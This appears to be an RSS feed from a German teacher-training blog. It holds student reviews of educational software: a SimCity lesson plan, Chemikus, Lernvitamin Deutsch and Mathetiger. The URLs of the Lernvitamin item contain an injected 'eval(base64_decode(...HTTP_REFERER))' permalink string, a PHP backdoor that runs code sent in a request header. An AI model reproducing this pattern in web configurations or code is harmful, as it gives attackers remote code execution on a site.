Weiter werden die Sch&#252;ler feststellen, dass gewisse Investitionen (z. B. Bau eines Flughafens) erst ab einer gewissen Gr&#246;&#223;e der Stadt einen Sinn machen, da erst dann Industrie und Handel eine entsprechende Infrastruktur ben&#246;tigen. Sie werden erleben welche Folgen einmal getroffene Entscheidungen haben werden, gleichzeitig aber auch, dass im Spiel Fehler durch Neubeginn korrigiert werden k&#246;nnen, w&#228;hrend dies in der Realit&#228;t so nicht m&#246;glich ist.<br />
Eine weitere Variante des Spiels k&#246;nnte durch Auslosung echter St&#228;dte gespielt werden. Hier bekommen die Sch&#252;lergruppen reale St&#228;dte per Los zugeteilt. Diese sollen sie zun&#228;chst in ihrer groben Infrastruktur nachbauen und dann im zweiten Schritt so ausbauen, dass eine m&#246;glichst profitable Stadt entsteht.<br />
Nach den ersten Erfahrungen<br />
Nach Analyse und Diskussion der ersten Erfahrungen sollen die Arbeitsgruppen systematisch an die Entwicklung ihrer Stadt herangehen. Mit der entsprechenden Vorbereitung geht dann die Stadtentwicklung weiter.<br />
Nach zwei Doppelstunden sollen die Sch&#252;ler die wesentlichen Daten ihrer Stadt (Stadtgr&#246;&#223;e, Energieversorgung, &#246;ffentliche Geb&#228;ude u.a.) dokumentieren. Gleichzeitig wird aufgeschrieben, welche Probleme bei der Entwicklung der Stadt aufgetreten waren und wie sie gel&#246;st wurden.<br />
Die Stadt &#8211; ein vernetztes System<br />
Ausgehend von den spielerisch erworbenen Einsichten und Erkenntnissen solle nun in einer anschlie&#223;enden Phase das bereits erworbene Wissen vertieft und in einen weiterf&#252;hrenden Gesamtzusammenhang eingeordnet werden. Hierzu sollten dann Arbeitsbl&#228;tter bzw. Texte zu „Probleme in einer Gro&#223;stadt“ bearbeitet werden.<br />
Um dies zu verdeutlichen, bekommen die Sch&#252;ler den Auftrag, ein Schaubild zu entwerfen, das den Zusammenhang und das Zusammenwirken wesentlicher Faktoren ihrer Stadt im Spiel SIM CITY 3000 verdeutlichen soll. Vorgegeben werden die Begriffe &#8220;Kraftwerk&#8221;, &#8220;Wohngebiete&#8221;, &#8220;Industriegebiete&#8221;, &#8220;Stadtkasse&#8221;.<br />
In dem Spiel Sim City verlassen einige Sims manchmal ihren Wohnort. Dann werden dessen H&#228;user grau dargestellt. Die Sch&#252;ler sollen &#252;berlegen wo die Gr&#252;nde daf&#252;r liegen und zwar, wenn die Strom- und Wasserversorgung ausreichend ist, die Infrastruktur intakt und sich die Umweltverschmutzung in Grenzen h&#228;lt.<br />
Hier w&#228;re die L&#246;sung beispielsweise, dass man zuvor kaum Kapital hatte und daher die Steuern angehoben hatte. Die Einnahmen werden kurzfristig steigen, jedoch werden nach ein paar Jahren die Sims die Stadt verlassen.<br />
Ein anderes Beispiel sind die Ausgaben f&#252;r das Bildungssystem. Diese werden zun&#228;chst die Stadtkasse belasten, jedoch werden &#252;ber eine verbesserte Qualifikation der Arbeitskr&#228;fte Industriezweige mit einer h&#246;heren Technologie angezogen werden und in der Folge die Steuereinnahmen steigen.<br />
Im Anschluss daran sollen die Sch&#252;ler &#252;berlegen, inwieweit das Spiel und die reale  Stadtplanung Gemeinsamkeiten haben. Fragen hierzu k&#246;nnten sein:<br />
Was wird im Spiel vereinfacht dargestellt?<br />
Was fehlt?<br />
Welche Verbesserungsvorschl&#228;ge zum Spiel gibt es?<br />
Dauer/Organisation<br />
Insgesamt sollten nur Doppelstunden a 90 Minuten verwendet werden, da die Zeit mit PC an-/ausschalten sonst zu kurz ist. Sechs Doppelstunden sollten eingeplant werden. Eine Doppelstunde zur Erkundung des Spiels. Zwei Doppelstunden, um eine reale Stadt nachzubauen und weitere zwei Doppelstunden um eine geeignete Pr&#228;sentation f&#252;r die anderen Mitsch&#252;lergruppen zu entwickeln. In der letzten Stunde werden dann die Ergebnisse pr&#228;sentiert.</p>
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		<title>Einsatz des Chemikus im Unterricht</title>
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		<pubDate>Wed, 04 Jul 2007 19:37:17 +0000</pubDate>
		<dc:creator>Mareike W.</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Da wir in unserer Gruppe einstimmig beschlossen haben, dass der Chemikus f&#252;r den Einsatz im Unterricht v&#246;llig ungeeignet ist, f&#228;llt es mir schwer, hier etwas zu finden. Die M&#246;glichkeiten des Einsatzes in der Schule sehen meiner Meinung nach wie folgt aus: Falls die Schule es sich leisten will, einen Klassensatz vom Chemikus zu kaufen, also [...]]]></description>
			<content:encoded><![CDATA[<p>Da wir in unserer Gruppe einstimmig beschlossen haben, dass der Chemikus f&#252;r den Einsatz im Unterricht v&#246;llig ungeeignet ist, f&#228;llt es mir schwer, hier etwas zu finden.</p>
<p>Die M&#246;glichkeiten des Einsatzes in der Schule sehen meiner Meinung nach wie folgt aus:</p>
<p>Falls die Schule es sich leisten will, einen Klassensatz vom Chemikus zu kaufen, also 35 mal die Doppel-CD f&#252;r je 10 bis 15€ anzuschaffen, w&#228;re der Chemikus eine M&#246;glichkeit, Vertretungsunterricht zu gestalten. H&#228;ufig ist es so, dass nicht-Fachlehrer in die Klasse kommen und dann Hausaufgaben betreuen oder einfach nur aufpassen, dass das Chaos nicht &#252;berhand nimmt. In diesem Fall k&#246;nnte man die Sch&#252;ler Chemikus spielen lassen, um wenigstens den chemischen Aspekt im Auge zu behalten. Das geht allerdings nur bei &#228;lteren Sch&#252;lern, sch&#228;tzungsweise ab der 10. Klasse, weil die Aufgaben sonst zu schwer sind.</p>
<p>Eine zweite M&#246;glichkeit w&#228;re, die Sch&#252;ler den Chemikus (und andere Software im Bereich Chemie) bewerten zu lassen in Form eines Referates. Dazu m&#252;ssten sie das Spiel mit nach Hause nehmen und sich dort die Zeit nehmen, das Spiel zu spielen. Sp&#228;ter w&#228;re ein Vergleich verschiedener Chemiesoftwares m&#246;glich.</p>
<p>Einige Animationen im Chemikus sind recht anschaulich und gleichzeitig Standard im Chemieunterricht (z.B. die Animation einer Galvanisierung eines Kupfernagels), man kann sich als Lehrer die M&#252;he machen, das Spiel bis zu diesem Zeitpunkt zu spielen, den Zwischenstand abzuspeichern und dann den Sch&#252;lern &#252;ber den Beamer genau diese Stelle zu zeigen oder sie daran mitr&#228;tseln lassen. Daf&#252;r braucht man als Lehrer allerdings ein Laptop. Und es stellt sich die Frage, ob es f&#252;r die Sch&#252;ler nicht spannender w&#228;re, das Experiment real durchzuf&#252;hren.</p>
<p> Wie gesagt, ich bin immernoch der Meinung, dass der Chemikus als nette Freizeitgestaltung f&#252;r Chemieinteressierte dienen kann, in der Schule aber wenig brauchbar ist.</p>
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		</item>
		<item>
		<title>Chemikus Zusammenfassung</title>
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		<pubDate>Wed, 04 Jul 2007 19:24:07 +0000</pubDate>
		<dc:creator>Mareike W.</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Chemikus ist eine Lernsoftware aus dem Klett Verlag, die allerdings nicht mehr vom Klett Verlag vertrieben wird sondern nun von Braingames, dem Softwarehersteller, angeboten wird. Inhalt und Lernziele: Laut Herstelleraussage ist die Software f&#252;r Kinder ab 12 Jahre geeignet. Es handelt sich um ein Abenteuerspiel, bei dem man selbst eine Hauptperson spielt, die einen entf&#252;hrten [...]]]></description>
			<content:encoded><![CDATA[<p>Chemikus ist eine Lernsoftware aus dem Klett Verlag, die allerdings nicht mehr vom Klett Verlag vertrieben wird sondern nun von Braingames, dem Softwarehersteller, angeboten wird.</p>
<p><strong>Inhalt und Lernziele:</strong></p>
<p>Laut Herstelleraussage ist die Software f&#252;r Kinder ab 12 Jahre geeignet. Es handelt sich um ein Abenteuerspiel, bei dem man selbst eine Hauptperson spielt, die einen entf&#252;hrten Freund retten muss. Um das tun zu k&#246;nnen, m&#252;ssen viele Aufgaben zum einen erst einmal erkannt (Nach dem Motto: Irgendwie komm ich hier nicht weiter, was kann ich tun?) und dann gel&#246;st werden. Und, wer h&#228;tte es gedacht, bei diesen Problemen und Aufgaben handelt es sich um allerlei chemische Sachverhalte, die quer durch die gro&#223;en Gebiete der Chemie gehen (Stoffeigenschaften, Stoffver&#228;nderungen, Atombau und chemische Reaktion, Elektrochemie, S&#228;uren und Basen, Organische Chemie). Aus diesen Gebieten werden dann exemplarisch verschiedene Sachverhalte ausgew&#228;hlt und als Problem verarbeitet. Die Anzahl der zu l&#246;senden Probleme und die Schwierigkeitsstufe sind dabei nicht w&#228;hlbar, es muss jeder die gleichen Probleme l&#246;sen, auch wenn es vielleicht Niveauunterschiede im chemischen Wissen gibt. Ziel der Software ist es, dass Sch&#252;ler chemisches Wissen gezielt auf bestimmte Sachverhalte anwenden und dabei verschiedene Methoden kennen lernen.  </p>
<p><strong>Didaktische Eignung</strong></p>
<p>Und da h&#228;tten wir auch gleich das erste Problem. Man hat sich mit dem Chemikus bem&#252;ht, chemische Probleme anwendungsorientiert zu gestalten und dem Sch&#252;ler aufzuzeigen, wann man chemisches Wissen wie anwenden k&#246;nnte. Leider sind die Probleme so konstruiert, dass es nicht kaum ein Problem gibt, was auch in der realen Welt der Sch&#252;ler existieren w&#252;rde (Wer vereist schon mit einer Kohlendioxidflasche im Taschenformat den Ausf&#252;hrungsgang eines Stalagtiten, der daraufhin unter &#220;berdruck zerbricht, sodass man etwas Calciumcarbonat gewinnt?). Insofern bleibt die Anwendungsorientierung fraglich. Allerdings ist das Programm handlungsorientiert, die Sch&#252;ler m&#252;ssen zum einen sehr viel nachdenken und dann auch handeln, was prinzipiell gut ist.</p>
<p>Ein zweites Problem besteht darin, dass das Programm wirklich so gut wie alle Themen (wenn nicht mehr) abdeckt, die jemals im Chemieunterricht behandelt werden. Deswegen kann man es unm&#246;glich in einer Schulstunde einsetzen, weil es sich nicht mit dem Lehrplan vereinen l&#228;sst. Die Themen treten in vollkommen zuf&#228;lliger Reihenfolge auf, da das Spiel keinen strikt linearen Verlauf besitzt, sondern an mehreren Aufgaben gleichzeitig ger&#228;tselt werden kann. Ganz zu Anfang geht es z.B. um S&#228;ure-Base-Chemie, im gleichen Atemzug aber auch um Elektrochemie und Stoffver&#228;nderungen. Das ist f&#252;r eine Schulstunde, in der meinetwegen gerade Stoffver&#228;nderungen behandelt werden (was im Anfangsunterricht der Fall ist), nicht sinnvoll, denn Elektrochemie ist Inhalt der 9. oder 10. Klasse, hat also nichts mit dem Anfangsunterricht zu tun. Au&#223;erdem zeigt sich hier deutlich ein drittes Problem: die Software ist keineswegs f&#252;r Kinder ab 12 geeigneet, weil diese gerade einmal Stoffeigenschaften kennen gelernt haben und mehr nicht. Sie k&#246;nnen die R&#228;tsel einfach nicht l&#246;sen, es sei denn, sie eignen sich das chemische Wissen vollkommen selbstst&#228;ndig an, wobei dabei fraglich ist, inwiefern dieses Wissen dann richtig und wirklich verstanden ist.</p>
<p>Noch ein Problem ist der enorme Zeitbedarf. Erst einmal dauert es mindestens eine halbe Stunde, bis man sich in die Bedienung des Spiels eingefunden und das erste Problem gel&#246;st hat. Zun&#228;chst stellt sich schon hier eine gewisse Frustration und Langeweile ein, weil man gerade zu Anfang &#252;berhaupt nicht versteht, worum es geht, was mit der entf&#252;hrten Person passiert ist, warum sie &#252;berhaupt entf&#252;hrt wurde und wer man selbst &#252;berhaupt ist. Um dieser Frustration einige Erfolgserlebnisse in Form von gel&#246;sten R&#228;tsel entgegenzustellen, muss man sich mindestens 90 Minuten mit dem Spiel besch&#228;ftigen, und hat dann aber auch erst wenige R&#228;tsel gel&#246;st. Der Zeitaufwand steht also in keinem Verh&#228;ltnis zum tats&#228;chlich Gelernten. Um das ganze Spiel durchzuspielen, m&#252;ssen mindestens 10 Zeitstunden, wenn nicht mehr, angesetzt werden, das ist in der Schule nat&#252;rlich nicht realisierbar.</p>
<p>So, das waren die ersten beiden Punkte, weiter geht es bei yk und den Punkten Didaktik und Lernerfolg.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Beurteilungsbogen: &#8220;Lernvitamin Deutsch&#8221;</title>
		<link>http://www.didactalab.de/teachlab/2007/07/04/beurteilungsbogen-lernvitamin-deutsch/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/04/beurteilungsbogen-lernvitamin-deutsch/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 04 Jul 2007 18:59:46 +0000</pubDate>
		<dc:creator>Prus</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=315</guid>
		<description><![CDATA[von Sabine Tomm und Sylwia Vermehren Name des Programms: „Lernvitamin Deutsch“ Bezugsadresse: Cornelsen Verlag; www. cornelsen-software.de Inhalt und Lernziele: Themen: Die Inhalte sind abgestimmt auf die schulischen Lehrpl&#228;ne und umfassen folgende Gebiete: &#8211; Rechtschreibung – Sprachkunde &#8211; Grammatik Lernziele: &#8211; Gezielte Vorbereitung auf Schulaufgaben, Klassenarbeiten oder andere Pr&#252;fungen. &#8211; F&#246;rderung der thematischen Schw&#228;chen und St&#228;rken. [...]]]></description>
			<content:encoded><![CDATA[<p>von Sabine Tomm und Sylwia Vermehren</p>
<p><img src="///C:/DOKUME%7E1/Joerg/LOKALE%7E1/Temp/moz-screenshot-6.jpg" /><strong>Name des Programms</strong>: <strong>„Lernvitamin Deutsch“</strong></p>
<p><strong>Bezugsadresse</strong>:  Cornelsen Verlag; www. cornelsen-software.de</p>
<p><strong><u>Inhalt und Lernziele: </u><br />
</strong></p>
<p><strong>Themen:</strong>  Die Inhalte sind abgestimmt auf die schulischen Lehrpl&#228;ne und umfassen folgende Gebiete: &#8211; Rechtschreibung – Sprachkunde &#8211; Grammatik</p>
<p><strong>Lernziele</strong>: &#8211; Gezielte Vorbereitung auf  Schulaufgaben, Klassenarbeiten oder andere Pr&#252;fungen. &#8211;  F&#246;rderung der thematischen Schw&#228;chen und St&#228;rken. Au&#223;erdem: &#220;ben von Rechtschreibung, Sprachkunde und Grammatik.</p>
<p><strong>F&#228;cher:</strong>  Deutsch</p>
<p><strong>Klassenstufe:</strong> 5. Schuljahr</p>
<p><strong>Schwierigkeitsgrad:</strong>  Angepasst an die Zielgruppe, z. T. individuell einstellbar. Z. B.: L&#228;nge, Umfang und Schwerpunkte einer Pr&#252;fung; pers&#246;nlicher Lernplan: Im IntelliPlan kann der Nutzer seinen pers&#246;nlichen Lernplan zusammenstellen und detailliert festlegen, welche Themen in welchem Umfang er &#252;ben m&#246;chte.</p>
<p><strong>Bewertung: </strong>✩ ✩ ✩</p>
<p><strong><u>P&#228;dagogische Eignung:</u></strong></p>
<p><strong>Nutzung</strong>: alleine, eventuell zu zweit</p>
<p><strong>Einsatz</strong>: Haupts&#228;chlich zur Wiederholung  und Vertiefung, aber auch als Einstieg m&#246;glich. Abschluss: Test.</p>
<p><strong>Minimale sinnvolle Spielzeit</strong>: Schule: 1 Stunde; zu Hause: auch k&#252;rzer.</p>
<p><strong>Bewertung: </strong>✩ ✩ ✩ ✩<br />
<strong><u>Didaktik:</u></strong></p>
<p><strong> Interaktionsm&#246;glichkeiten</strong>: wenige</p>
<p><strong>Ansatz</strong>: vermittelnd</p>
<p><strong>Bewertung: </strong>✩ ✩ ✩</p>
<p><em> </em></p>
<p><strong><u>Lernerfolge r&#252;ckmelden:</u></strong></p>
<p><strong> R&#252;ckmeldungen:</strong>  Zu jeder &#220;bung, teilweise aber nicht begr&#252;ndet.</p>
<p>Die Video-Tutorin Bianca erkl&#228;rt die Aufgaben, gibt Tipps und korrigiert Fehler.</p>
<p><em> </em><strong>Visualisierung des Lernerfolgs</strong>: Ergebnisse und Aussprachebewertung werden in Prozent angegeben und im IntelliPlan angezeigt:</p>
<p>rotes Symbol                         0 bis 49%<em>                    </em>Note 6 bis 4</p>
<p>gelbes Symbol                        50 bis 79%                  Note 3 bis 2</p>
<p>gr&#252;nes Symbol                       80 bis 100%                Note 1</p>
<p><strong>Bewertung: </strong>✩ ✩</p>
<p><em><br />
</em></p>
<p><strong><u>Spa&#223; &amp; Gestaltung:</u></strong></p>
<p><strong><u></u>Bewertung: </strong>✩ ✩</p>
<p><em> </em></p>
<p><strong><u>Ausstattung/Handhabung:</u></strong><u> </u></p>
<p><strong>Die Mindest-Systemvoraussetzungen f&#252;r alle Lernvitamine sind: </strong><br />
PC mit Pentium-Prozessor 233 MHz<br />
32 MB Arbeitsspeicher<br />
Grafikaufl&#246;sung 1024 x 768<br />
16-Bit-Soundkarte<br />
Mikrofon<br />
Internetzugang (optional)<br />
Windows® 98 oder h&#246;her; Windows® 2000; Windows® XP</p>
<p>Die Software kann nicht nur per Maus und Tastatur, sondern auch per Spracheingabe bedient werden.</p>
<p><strong> </strong></p>
<p><strong>Preis-Leistung:</strong></p>
<p>Kosten: Aktueller Ladenpreis: 19,95 EUR</p>
<p>Klassenlizenz und Schullizenz m&#246;glich</p>
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		<title>Mathetiger Basic</title>
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		<pubDate>Wed, 04 Jul 2007 16:39:18 +0000</pubDate>
		<dc:creator>Annika Mues</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[ „Mathetiger Basic 1 Version 2.0“ Sabrina Grewe, Yvonne M&#246;ller, Annika Mues  Die Lernsoftware „Mathetiger Basic 1, Version 2.0“ ist eine zus&#228;tzliche CD-Rom zum Lehrbuch „Das Mathebuch 1“ aus dem Verlag Mildenberger, das in vielen ersten Klassen im Land Bremen genutzt wird. Um das Programm benutzen zu k&#246;nnen braucht man Windows 95/98/2000(ME)/NT/XP und mindestens einen  Pentium [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font size="5"><u><font face="Times New Roman"> „Mathetiger Basic 1 Version 2.0“</font></u></font></strong></p>
<p><u><font face="Times New Roman">Sabrina Grewe, Yvonne M&#246;ller, Annika Mues</font></u><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Die Lernsoftware „Mathetiger Basic 1, Version 2.0“ ist eine zus&#228;tzliche CD-Rom zum Lehrbuch „Das Mathebuch 1“ aus dem Verlag Mildenberger, das in vielen ersten Klassen im Land Bremen genutzt wird. Um das Programm benutzen zu k&#246;nnen braucht man Windows 95/98/2000(ME)/NT/XP und mindestens einen  Pentium PC. </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Die Vollversion zu dieser Lernsoftware ist die CD-Rom „Mathetiger 1/2“, die sich auf den Stoff der ersten und zweiten Klasse bezieht. Diese kostet ab 69,80 Euro (Klassenversion mit Einzellizenz). Die von uns vorgestellte Version kostet dagegen nur 1,40Euro. Sie beinhaltet aber auch nur 6 verschiedene Aufgabenbereiche, w&#228;hrend die Vollversion &#252;ber 25 Bereiche verf&#252;gt.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Im folgenden Text wollen wir nun zun&#228;chst beschreiben, wie die Lernsoftware im Allgemeinen aufgebaut ist. Anschlie&#223;end stellen wir die einzelnen Aufgabenbereiche genauer vor und legen unseren Schwerpunkt hierbei auf den Inhalt und die graphische Darstellung. Zum Schluss nehmen wir Stellung zu der gesamten Software.</font><font face="Times New Roman"> </font></p>
<p><strong><u><font face="Times New Roman">Allgemeine Vorstellung des Mathetigers:</font></u></strong><font face="Times New Roman">Zun&#228;chst kann der Nutzer sich in dem Lernprogramm mit eigenem Namen und einem zu sich passenden Bild, das man entweder hoch laden oder aus der Galerie aussuchen kann, anmelden. </font></p>
<p><font face="Times New Roman">Dann geht es weiter mit einer Begr&#252;&#223;ung und der Frage, ob man gern Hilfe haben oder die Software selbst entdecken m&#246;chte, beziehungsweise schon kennt. </font></p>
<p><font face="Times New Roman">Alle Texte und Aufgaben, die sich an das Kind richten, werden sowohl als Schriftzug eingeblendet als auch vorgelesen. Hierbei ist zu erw&#228;hnen, dass der Lautsprecher auch ausgeschaltet werden kann, damit man die Texte ganz alleine lesen kann. </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Auf der Startseite kann der Nutzer nun einen der 6 Kompetenzbereiche ausw&#228;hlen. Sie m&#252;ssen nicht der Reihe nach bearbeitet werden sondern sind v&#246;llig unabh&#228;ngig voneinander, sodass das Kind ganz nach seinen Vorstellungen arbeiten kann. </font></p>
<p><font face="Times New Roman">Hat man nun einen Aufgabenbereich ausgew&#228;hlt, wird man erneut gefragt, ob man sich die Aufgabe erkl&#228;ren lassen oder es ohne Hilfe probieren m&#246;chte. Bereits hier wird der nach oben zeigende Daumen eingef&#252;hrt, der signalisiert, dass man weitermachen m&#246;chte. Dieser taucht auch in den Aufgaben immer wieder auf.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">In allen Bereichen gibt es verschiedene Schwierigkeitsstufen. Zun&#228;chst werden leichte Aufgaben gestellt, dann steigert sich der Anspruch nach und nach automatisch. F&#252;r besonders schnelle Kinder gibt es die M&#246;glichkeit auf ein Siegertreppchen zu klicken. Der Schwierigkeitsgrad wird dann erh&#246;ht, indem das Kind nun die Aufgaben auf Zeit bearbeiten muss. Au&#223;erdem kriegt es hier nicht mehr eine direkte Best&#228;tigung f&#252;r die L&#246;sung der Aufgabe, wie es bei den vorherigen Aufgaben der Fall ist, sondern erst, wenn die Zeit (eine Minute) abgelaufen ist.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Durch alle Bereiche hindurch sammelt man durch das richtige L&#246;sen der Aufgaben Dschungeltaler, deren Anzahl am Ende den Platz in der Ranking-Liste bestimmt. Zudem ist es m&#246;glich sich jederzeit eine Statistik &#252;ber die richtigen und falschen L&#246;sungen erstellen und sich selbst sein K&#246;nnen in Form einer Urkunde best&#228;tigen zu lassen- diese kann auf Wunsch auch ausgedruckt werden.  </font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<p><strong><u><font face="Times New Roman">Vorstellung der Aufgabentypen</font></u></strong><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<h1><u><font size="3" face="Times New Roman">Der Apfelbaum</font></u></h1>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Der Aufgabentyp „Apfelbaum“ besch&#228;ftigt sich mit der grundlegendsten Sache dar Mathematik, dem Z&#228;hlen. Hier geht es darum, dass an dem Apfelbaum eine gewisse Anzahl von &#196;pfeln h&#228;ngt, die das Kind z&#228;hlen soll. Dazu soll es die &#196;pfel m&#246;glichst in Gruppen einteilen, um sie besser z&#228;hlen zu k&#246;nnen. Das Kind soll also nicht nur z&#228;hlen, sondern auch strukturieren lernen. Abgedeckt wird hierbei der Zahlenraum bis 20, der &#252;brigens in der Lernsoftware variiert, wie sich noch herausstellen wird. Die Aufgaben werden immer als F&#252;nfer-Block pr&#228;sentiert. Das Kind kann also nach jeder f&#252;nften Aufgabe entscheiden, ob es noch einen Block machen m&#246;chte oder etwas anderes weiter machen will. (Nat&#252;rlich ist ein Ausstieg auch jederzeit sonst m&#246;glich, dann wird die Punktzahl allerdings nicht angerechnet.)</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Das Ergebnis kann das Kind auf zwei verschieden Arten mitteilen: Entweder tippt es die Zahl selbst in ein vorgefertigtes K&#228;stchen ein oder es klickt auf die entsprechende Zahl aus der Zahlenreihe, die unter diesem K&#228;stchen Platz findet.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Macht das Kind in der Auswahl der Zahl einen Fehler, wird es sofort korrigiert. Es wird gesagt, dass man sich verz&#228;hlt habe und zus&#228;tzlich, ob man zuviel oder zu wenig gez&#228;hlt hat, sodass das Kind auch hier einen Anhaltspunkt hat.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<h1><u><font size="3" face="Times New Roman">Die Rechenraupe</font></u></h1>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Bei der Rechenraupe geht es um Zahlzerlegungen im Zahlenraum bis 10. Bevor die Aufgaben starten, wird das Kind gefragt, welche Zahl es gerne &#252;ber m&#246;chte. Das Kind kann also zun&#228;chst selbst eine Entscheidung treffen, was es am sinnvollsten lernen sollte.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Hat das Kind eine Zahl eingetippt, erscheint ein Haus, in dessen Dach die ausgew&#228;hlte Zahl steht. Darunter sind die Stockwerke, in denen jeweils eine Zahl schon vorgegeben ist. Das Kind soll nun die zweite Zahl erg&#228;nzen. Diese Aufgaben sind dem Kind au&#223;erdem genau so schon aus dem zugeh&#246;rigen Mathebuch bekannt, sodass sie die Aufteilung von Dach und Stockwerken bereits kennen gelernt haben.</font></p>
<p><font face="Times New Roman">Fehler werden auch hier sofort korrigiert, sodass das Kind ein zweites mal &#252;ber die Aufgabe nachdenken kann.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman"> </font></p>
<h1><u><font size="3" face="Times New Roman">Das Krokodil</font></u></h1>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Beim Krokodil Karla geht es um die Mengenlehre. Das Kind soll jeweils bestimmten, ob die Zahl gr&#246;&#223;er oder kleiner als die zweite Zahl ist und das entsprechende Zeichen einsetzen. Zus&#228;tzlich kommen Aufgaben vor, in denen das Gr&#246;&#223;er- oder Kleiner-Zeichen bereits gesetzt ist aber eine zweite Zahl fehlt. Hier muss das Kind dann eine passende Zahl einsetzen. Auch bei dieser Aufgabe erstreckt sich der Zahlenraum bis 20. </font></p>
<p><font face="Times New Roman">Dieser Aufgabentyp bietet jeweils Zehnerbl&#246;cke an, die das Kind bew&#228;ltigen soll. </font></p>
<p><font face="Times New Roman">Auch hier bekommt das Kind ein direktes Feedback nach dem Beendigen einer einzelnen Aufgabe. Wie beim Apfelbaum bekommt das Kind hier eine Hilfe, wie zum Beispiel: „Die Zahl ist zu klein“. Daraufhin hat das Kind einen weiteren Versuch, die Aufgabe zu l&#246;sen. Auch, wenn das Kind ein Zeichen einsetzen sollte, aber das falsche gew&#228;hlt hat, bekommt es eine Hilfe, um zu verstehen, warum dieses das falsche Zeichen war: „Das war das falsche Zeichen. Sieh dir das Maul von Karla an. Dann  ist die L&#246;sung ganz leicht.“ Dabei schnappt das Maul des Krokodils nach der gr&#246;&#223;eren Zahl, wie auch, wenn das Kind die Aufgabe richtig gel&#246;st hat und ein H&#228;kchen neben die Aufgabe gesetzt wird.</font></p>
<h1><font size="3" face="Times New Roman"><u> </u></font></h1>
<h1><u><font size="3" face="Times New Roman">Fliesenleger</font></u></h1>
<p><u></u></p>
<p><font face="Times New Roman">Beim Fliesenleger geht es um den Bereich der Parkettierung. Hier wird ein Muster aus Quadraten und Rechtecken mit verschiedenen Farben vorgegeben und diese m&#252;ssen vervollst&#228;ndigt werden. Es spielt die Form und die Farbe eine Rolle. </font></p>
<p><font face="Times New Roman">Unten links sind verschiedene Formen vorgegeben, die man nur noch an die Wand ziehen und dort ablegen muss. Wenn man fertig ist, kann man auf den Best&#228;tigungsbutton dr&#252;cken und dann gibt es eine R&#252;ckmeldung, ob das Muster richtig zu ende gef&#252;hrt wurde. Wenn entweder die Formen oder die Farben nicht passen, bekommt man einen zweiten Versuch. Als Hilfestellung ist hier dann das Muster etwas weiter vorgegeben und man kann die Regelm&#228;&#223;igkeiten besser erkennen. </font></p>
<p><font face="Times New Roman"> </font></p>
<h2><u><font face="Times New Roman">Bankschalter</font></u></h2>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Im Aufgabenbereich „Bankschalter“, geht es darum, den Euro kennen zulernen. Der Nutzer wird aufgefordert einen bestimmten Betrag (bis 100 Euro) in den Kreis in der Mitte des Bildschirms zu legen. Zum Beispiel: „Bitte lege 12 Cent in den Kreis.“</font></p>
<p><font face="Times New Roman">Zu Beginn liegen nur Geldst&#252;cke links neben dem Kreis und man muss Betr&#228;ge bis 5 Euro legen. Sp&#228;ter kommen zuerst 5 und 10 Euro-Scheine und dann auch 20 und 50 Euro-Scheine dazu. Es gibt verschiedene M&#246;glichkeiten die Betr&#228;ge zusammenzustellen/ zu legen. Beispiel: „Bitte lege 14 Cent in den Kreis.“ Mann kann ein 10 Cent St&#252;ck und zwei 2 Cent St&#252;cke, zwei 5 Cent St&#252;cke, ein 2 Cent St&#252;ck und zwei 1 Cent St&#252;cke, etc. in den Kreis legen.</font></p>
<p><font face="Times New Roman">Wenn der Betrag im Kreis nicht richtig ist, folgt eine Hilfestellung, wie „Es fehlt noch etwas Geld.“ oder „Das ist noch nicht das richtige Geldst&#252;ck.“ </font></p>
<p><font face="Times New Roman">Bei den Aufgaben wechseln sich sp&#228;ter unregelm&#228;&#223;ig Cent- und Euro-Aufgaben, sowie gemischte Aufgaben ab.</font></p>
<p><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Beispiele:</font></p>
<p><font face="Times New Roman">„Bitte lege 51 Euro und 15 Cent in den Kreis.“</font></p>
<p><font face="Times New Roman">„Bitte lege 25 Euro in den Kreis.“</font></p>
<p><font face="Times New Roman">„Bitte lege 56 Cent in den Kreis.“</font></p>
<p><font face="Times New Roman">„Bitte lege 2 Euro und 50 Cent in den Kreis.“</font></p>
<h3><u><font face="Times New Roman">Palast des Rechenmeisters</font></u></h3>
<p><font face="Times New Roman"> </font></p>
